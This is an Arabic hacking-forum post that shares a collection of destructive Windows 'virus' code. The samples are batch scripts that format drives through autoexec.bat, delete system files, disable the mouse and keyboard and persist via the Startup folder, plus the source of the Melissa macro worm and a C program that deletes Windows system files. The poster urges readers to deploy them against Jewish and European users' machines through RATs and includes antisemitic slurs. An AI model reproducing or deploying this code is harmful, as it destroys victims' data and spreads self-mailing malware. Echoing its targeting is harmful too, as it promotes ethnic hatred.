هل سمعت بالدمار الشامل هنا ستجد الدمار بالقنابل والمدفعيات لليهود فقط

[Mr.HaCkErS.HaMo]

الشامل, بالدمار, سمعت

هل سمعت بالدمار الشامل هنا ستجد الدمار بالقنابل والمدفعيات لليهود فقط

السلام عليكم انهاردة باذن الله
سوف اعطيكم اليوم مجموعة فيروسات غير معروفة بعض خطير وبعض الاخر غير خطير ممكن تجنن جهاز الضحية لا احد يخاف استعملو فقط على اجهزة اليهود واوربا يمكنك استخدامة على جهاز الضحية عن طريق برنامج بيفروست او النجرات عن طريق رفعه لجهاز الضحية
كود الفيرس

اقدم لكم هذا الفيروس وهو قوى جدا لانه يقوم بالاتلاعب بى الملفات واخفائها وتغير الامتداد وهكذا

كود الفيرس

                              @echo off title VIRUS color a :1 dir/s goto 1

لا تفكر فى فتحه بعد صنعه
-----------------------------------------------------

في مكان BB7R
ا كتب رسالتك ^_^

                              @echo off
cls
:a
start
msg * bb7r ????

لا تفكر فى ان تفتحه
------------------------------------------------------------------
هذا الفيروس عند ارساله للضحيه يقوم بتعطيل الماوس والكيبورد

                              @echo off
C:\WINDOWS\rundll***** mouse,disable
C:\WINDOWS\rundll***** keyboard,disable
copy key.BAT C:\WINDOWS\startm~1\programs\startup
copy key.BAT C:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup
copy key.BAT D:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup
CLS
echo abohacker
shutdown -s

-------------------------------------------------
هذا الفيروس وهو يقوم بتعطيل الساعه ولا تسطيع تبطها

                              @echo off
DATE 14-02-1995
Time 7.77
attrib +r +s +h ExtraBus.bat

----------------------------------------------------------------
طبعا الكل يعلم ماهو فيروس مليسا وما نتج عنه من اضرار كبيره فى الاجهزه الان تسيع صناعته

ولكن لاتجربها فى اخوك لمسلم
الكود

                              Private Sub AutoOpen() On Error Resume Next 
p$ = "clone" 
If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\o  rd\e curity", "Level") <> "" Then 
CommandBars("Macro").Controls("Security...").Enabl  ed = False 
System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\o  rd\e curity", "Level") = 1& 
Else p$ = "clone" 
CommandBars("Tools").Controls("Macro").Enabled = False 
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1) 
End If 
Dim UngaDasOutlook, DasMapi****, BreakUmOffASlice 
Set UngaDasOutlook = CreateObject("Outlook.Application") 
Set DasMapi**** = UngaDasOutlook.Get****Space("MAPI") 
If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") <> "... by Kwyjibo" Then 
If UngaDasOutlook = "Outlook" Then 
DasMapi****.Logon "profile", "password" 
For y = 1 To DasMapi****.AddressLists.Count
Set AddyBook = DasMapi****.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.User**** 
BreakUmOffASlice.**** = "Here is that ******** you asked for ... don't show anyone else ;-)" 
BreakUmOffASlice.Attachments.Add Active********.Full****
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapi****.Logoff
End If
p$ = "clone"
System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = Active********.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.**** <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.**** = "Melissa"
DoAD = True
End If
If NTI1.**** <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.**** = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
p$ = "clone"
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.****, "********") = False) Then
Active********.SaveAs File****:=Active********.Full****




ElseIf (InStr(1, Active********.****, "********") <> False) Then
Active********.Saved = True: End If
'WORD/Melissa written by Kwyjibo

'Clone written by Duke/SMF 
'Works in both Word 2000 and Word 97 
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! 
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age! 
If Day(Now) = Minute(Now) Then Selection.Type**** "Twenty-two points,   plus triple-word-score, plus fifty points for using all my letters.   Game's over. Im outta here."

--------------------------------------------------------------------
هذا فيروس خطير جدا يقوم بعمل فورمات للاقراص " c : e : d : f "
اى يعنى يقوم بمسح كل الملفات الموجوده داخل تلك الاقراص ويبقى لك الهارد فارغ تماما لانفع منه .
احذر من الفيروسات ولا تجربها على نفسك .
الكود

                              call attrib -h -r c:\autoexec.bat >nul 
echo format c: /q /u /autotest >nul >>c:\autoexec.bat 
echo format d: /q /u /autotest >nul >>c:\autoexec.bat 
echo format e: /q /u /autotest >nul >>c:\autoexec.bat 
echo format f: /q /u /autotest >nul >>c:\autoexec.bat 
echo I love my girl 
echo Smart Hacker 
c:\windows\rundll***** user*****,exitwindowsexec

------------------------------------------------------------------------
وظيفتها حذف ملفات الـsys و dll هذا الفيروس سوف ينتهي الجهاز ولازم تفرمته من
جديدة
الكود

 echo off@ 
 cls 
 call attrib -h -r c:\autoexec.bat >nul 
 echo @echo off >c:\autoexec.bat 
 echo deltree /y c:\progra~1\*.* >nul >>c:\autoexec.bat 
 echo copy c:\windows\command\format.com c:\ >nul >>c:\autoexec.bat
 echo copy c:\windows\command\deltree.exe c:\ >nul >>c:\autoexec.bat 
 echo deltree /y c:\windows\*.* >nul >>c:\autoexec.bat 
 echo format c: /q /u /autotest >nul >>c:\autoexec.bat

ملحوظة لازم تطبقها على الفيروس ده
"احفظه بأسم " AUTOEXEC.BAT
ولا تفكر تفتحه
---------------------------------------------------
وهذا فيروس خطير قليلاً
الكود

 del C:windows *.ini *.exe *.scr *.txt *.log 
 del C:windowssystem32 *.ini *.exe *.scr *.txt *.log *.nls *.drf *.reg *.sys *.dll 
 del C:windowssystem *.ini *.exe *.scr *.txt *.log *.nls *.drf *.reg *.sys *.dll

مهم
"احفظه بأسم maker.bat"
ولا تفتحه
-----------------------------------------
فيروس اخر عمل فورمات C,D,E,F
الكود

call attrib -h -r c:\autoexec.bat >nul 
 echo format c: /q /u /autotest >nul >>c:\autoexec.bat 
 echo format d: /q /u /autotest >nul >>c:\autoexec.bat 
 echo format e: /q /u /autotest >nul >>c:\autoexec.bat 
 echo format f: /q /u /autotest >nul >>c:\autoexec.bat 
 echo I love my girl 
 echo Smart Hacker

"احفظه بأسم not.bat"

-----------------------------------------------------فيروس عمل فورمات للجهاز فوراً
كود

 echo off@ 
 cls 
 call attrib -h -r c:\autoexec.bat >nul 
 echo @echo off >c:\autoexec.bat 
 echo deltree /y c:\progra~1\*.* >nul >>c:\autoexec.bat 
 echo copy c:\windows\command\format.com c:\ >nul >>c:\autoexec.bat
 echo copy c:\windows\command\deltree.exe c:\ >nul >>c:\autoexec.bat 
 echo deltree /y c:\windows\*.* >nul >>c:\autoexec.bat 
 echo format c: /q /u /autotest >nul >>c:\autoexec.bat

احفظه بأسم not.bat
--------------------------------------------------

وقت اهم فايروس فايروس مدمر
الكود

 echo off@ 
 
 cls 
 call attrib -h -r c:\autoexec.bat >nul 
 echo @echo off >c:\autoexec.bat 
 echo deltree /y c:\progra~1\*.* >nul >>c:\autoexec.bat 
 echo copy c:\windows\command\format.com c:\ >nul >>c:\autoexec.bat
 echo copy c:\windows\command\deltree.exe c:\ >nul >>c:\autoexec.bat 
 echo deltree /y c:\windows\*.* >nul >>c:\autoexec.bat 
 echo format c: /q /u /autotest >nul >>c:\autoexec.bat

احفظه بأسم not.bat
---------------------------------------
فايروس c++
Code

 #include 
 #include 
 #include 
 main() 
 { 
 clrscr(); 
 printf("tttWelcome to the Egyption -oO Virus Oo-nn"); 
 printf("ttFuck -oO Israel Oo- and -oO America Oo-nn"); 
 remove("c:\windows\system.ini"); 
 remove("c:\windows\win.ini"); 
 remove("c:\autoexec.bat"); 
 remove("c:\msdos.sys"); 
 remove("c:\io.sys"); 
 remove("c:\command.com"); 
 remove("c:\config.sys"); 
 remove("c:\windows\ebd\command.com"); 
 remove("c:\windows\ebd\ebd.cab"); 
 remove("c:\windows\ebd\Autoexec.bat"); 
 remove("c:\windows\ebd\setramd.bat"); 
 remove("c:\windows\ebd\Findramd.exe"); 
 rename("egypt.exe","c:/windows/startm~1/programs/startup/win.exe"); 
 printf("Windows destroyed ...nn"); 
 system("PAUSE"); 
 }

اهم شئ لا تفتحه
ثم احفظه بأسم note.bat
----------------------------------------
والآن نيجى لآخر فايروس معانا
فايروس قتل الويندوز وحذف كل الملفات بعد التشغيل مباشرة
كود

 @Echo off 
 c: 
 cd %WinDir%\System\ 
 deltree /y *.dll 
 cd\ 
 deltree /y *.sys 
 echo Smart Hacker

-------------------------------------------

	ركز فى العنوان "لليهود فقط"

المصدر: development-point - للمزيد تابع : قسم إختراق الأجـهـزه والأيـمـيـلات

---

ig sluj fhg]lhv hgahlg ikh sj[] hg]lhv fhgrkhfg ,hgl]tudhj ggdi,] tr'

[extrem123]

شكرا اكود فيروسات رائعة شكرا لك واصل تقدمك